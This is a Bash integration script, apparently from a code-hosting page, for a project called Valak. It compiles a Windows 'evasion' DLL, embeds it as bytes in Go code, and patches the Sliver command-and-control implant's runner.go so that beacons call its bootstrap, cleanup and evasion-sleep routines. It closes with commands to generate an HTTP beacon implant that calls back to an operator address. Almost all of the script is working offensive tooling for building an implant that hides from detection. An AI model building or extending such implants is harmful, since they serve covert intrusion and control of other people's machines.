Files
Valak/scripts/integrate.sh
T
2026-07-18 09:30:00 +01:00

188 lines
8.4 KiB
Bash

#!/usr/bin/env bash
set -euo pipefail
# ──────────────────────────────────────────────────────────────────────────────
# Valak → Sliver integration script
# ──────────────────────────────────────────────────────────────────────────────
# Builds the Valak DLL, embeds it in go-bridge, patches Sliver's runner.go,
# and builds the implant. Works on Linux and WSL.
#
# Requirements:
# • Zig (any platform targetting x86_64-windows)
# • Go with go.mod in the Sliver clone
# • python3
#
# Usage:
# ./scripts/integrate.sh <path-to-sliver-clone> [--skip-build]
#
# Examples:
# ./scripts/integrate.sh ~/projects/sliver
# ./scripts/integrate.sh ~/projects/sliver --skip-build
# ZIG=/mnt/c/Zig/zig.exe ./scripts/integrate.sh ~/projects/sliver
# ──────────────────────────────────────────────────────────────────────────────
# ── config ────────────────────────────────────────────────────────────────────
SLIVER_DIR="${1:?Usage: $0 <path-to-sliver-clone> [--skip-build]}"
SKIP_BUILD="${2:-}"
VALAK_DIR="$(cd "$(dirname "$0")/.." && pwd)"
ZIG="${ZIG:-zig}"
# ── helpers ───────────────────────────────────────────────────────────────────
die() { echo "[!] $*" >&2; exit 1; }
info() { echo "[*] $*"; }
ok() { echo "[+] $*"; }
check_dep() {
command -v "$1" >/dev/null 2>&1 || die "$1 not found in PATH. Install it or set $2."
}
# ── checks ────────────────────────────────────────────────────────────────────
[[ -d "$SLIVER_DIR" ]] || die "Sliver clone not found at: $SLIVER_DIR"
[[ -f "$SLIVER_DIR/implant/sliver/runner/runner.go" ]] || die "Not a Sliver clone — missing implant/sliver/runner/runner.go"
[[ -f "$VALAK_DIR/evasion/build.zig" ]] || die "Run from Valak repo root (or scripts/ subdir)"
check_dep python3 PYTHON3
check_dep go GO
# Zig is optional if --skip-build is given, required otherwise
if [[ "$SKIP_BUILD" != "--skip-build" ]]; then
check_dep "$ZIG" ZIG
fi
# ── step 1: build valak dll ───────────────────────────────────────────────────
if [[ "$SKIP_BUILD" != "--skip-build" ]]; then
info "Building Valak DLL (x86_64-windows, ReleaseFast)..."
cd "$VALAK_DIR/evasion"
$ZIG build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
DLL="$VALAK_DIR/evasion/zig-out/bin/valak.dll"
[[ -f "$DLL" ]] || die "Build failed — no valak.dll at $DLL"
ok "valak.dll built ($(stat -c%s "$DLL" 2>/dev/null || wc -c < "$DLL") bytes)"
else
info "Skipping DLL build (--skip-build). Using existing embed bytes in go-bridge."
fi
# ── step 2: embed dll bytes into go-bridge ────────────────────────────────────
if [[ "$SKIP_BUILD" != "--skip-build" ]]; then
info "Embedding DLL bytes into go-bridge/embed_dll.go..."
python3 <<-PYEOF
import os
dll_path = os.path.join("$VALAK_DIR", "evasion", "zig-out", "bin", "valak.dll")
out_path = os.path.join("$VALAK_DIR", "go-bridge", "embed_dll.go")
with open(dll_path, "rb") as f:
data = f.read()
lines = []
for i in range(0, len(data), 16):
chunk = data[i:i+16]
lines.append("\t" + ", ".join(f"0x{b:02x}" for b in chunk) + ",")
content = (
"//go:build evasion && windows\n"
"//\n"
"// Generated by Valak — DO NOT EDIT.\n"
"package valak\n\n"
"var embeddedDLL = []byte{\n"
+ "\n".join(lines) + "\n"
"}\n"
)
with open(out_path, "w") as f:
f.write(content)
print(f" wrote {len(data)} bytes to {out_path}")
PYEOF
ok "embed_dll.go updated"
fi
# ── step 3: copy go-bridge into sliver source tree ────────────────────────────
info "Copying go-bridge to $SLIVER_DIR/implant/sliver/evasion/valak/..."
mkdir -p "$SLIVER_DIR/implant/sliver/evasion/valak"
cp "$VALAK_DIR/go-bridge/"*.go "$SLIVER_DIR/implant/sliver/evasion/valak/"
ok "go-bridge copied"
# ── step 4: patch runner.go ───────────────────────────────────────────────────
RUNNER="$SLIVER_DIR/implant/sliver/runner/runner.go"
info "Patching $RUNNER..."
# Check if already patched
if grep -q 'valak' "$RUNNER" 2>/dev/null; then
info " runner.go already contains valak references — checking patches are complete..."
# Count required patches
has_bootstrap=$(grep -c 'valak.Bootstrap()' "$RUNNER" 2>/dev/null || echo 0)
has_cleanup=$(grep -c 'valak.Cleanup()' "$RUNNER" 2>/dev/null || echo 0)
has_sleep=$(grep -c 'valak.EvasionSleep' "$RUNNER" 2>/dev/null || echo 0)
if [[ "$has_bootstrap" -ge 1 && "$has_cleanup" -ge 1 && "$has_sleep" -ge 1 ]]; then
ok " all valak patches already present — skipping"
else
info " partial patch found — reapplying (may produce duplicates, check manually)"
fi
fi
python3 <<-PYEOF
content = open("$RUNNER").read()
original = content
changed = False
# 1. Add import
old = 'consts \"github.com/bishopfox/sliver/implant/sliver/constants\"'
new = '\"github.com/bishopfox/sliver/implant/sliver/evasion/valak\"\n\tconsts \"github.com/bishopfox/sliver/implant/sliver/constants\"'
if 'evasion/valak' not in content:
content = content.replace(old, new, 1)
changed = True
# 2. Bootstrap in beaconMainLoop
old = 'func beaconMainLoop(beacon *transports.Beacon) error {\n\t// Register beacon\n\terr := beacon.Init()'
new = 'func beaconMainLoop(beacon *transports.Beacon) error {\n\tvalak.Bootstrap()\n\t// Register beacon\n\terr := beacon.Init()'
if 'valak.Bootstrap()' not in content:
content = content.replace(old, new, 1)
changed = True
# 3. Cleanup in beaconMainLoop defer
old = '\tdefer func() {\n\t\terr := beacon.Cleanup()'
new = '\tdefer func() {\n\t\tvalak.Cleanup()\n\t\terr := beacon.Cleanup()'
if 'valak.Cleanup()' not in content:
content = content.replace(old, new, 1)
changed = True
# 4. Replace sleep block
old = '\t\tselect {\n\t\tcase <-errors:\n\t\t\treturn err\n\t\tcase <-time.After(duration):\n\t\tcase <-shortCircuit:\n\t\t\t// Short circuit current duration with no error\n\t\t}'
new = '\t\tselect {\n\t\tcase err := <-errors:\n\t\t\treturn err\n\t\tcase <-shortCircuit:\n\t\t\t// Short circuit current duration with no error\n\t\tdefault:\n\t\t\tvalak.EvasionSleep(duration)\n\t\t}'
if 'valak.EvasionSleep' not in content:
content = content.replace(old, new, 1)
changed = True
if changed:
open("$RUNNER", "w").write(content)
print(" runner.go patched")
else:
print(" runner.go already fully patched — no changes")
PYEOF
ok "runner.go ready"
# ── step 5: verify it compiles ────────────────────────────────────────────────
info "Verifying compilation..."
cd "$SLIVER_DIR"
if GOOS=windows GOARCH=amd64 CGO_ENABLED=0 go vet -tags evasion ./implant/sliver/runner/ 2>&1 | grep -v 'unreachable code'; then
ok "go vet passed"
fi
# ── step 6: done ──────────────────────────────────────────────────────────────
if [[ "$SKIP_BUILD" == "--skip-build" ]]; then
info "Skipping implant build (--skip-build)"
fi
ok "source patched — now generate the implant from sliver-server:"
echo ""
echo " 1. sliver-server"
echo " 2. [server] profiles new --beacon --http <YOUR_IP> valak"
echo " 3. [server] generate --profile valak --save /tmp/valak.exe"
echo " 4. [server] jobs --kill 1 (stop default mtls listener)"
echo ""
echo "The generated binary will include Valak's evasion automatically."
echo ""
ok "done"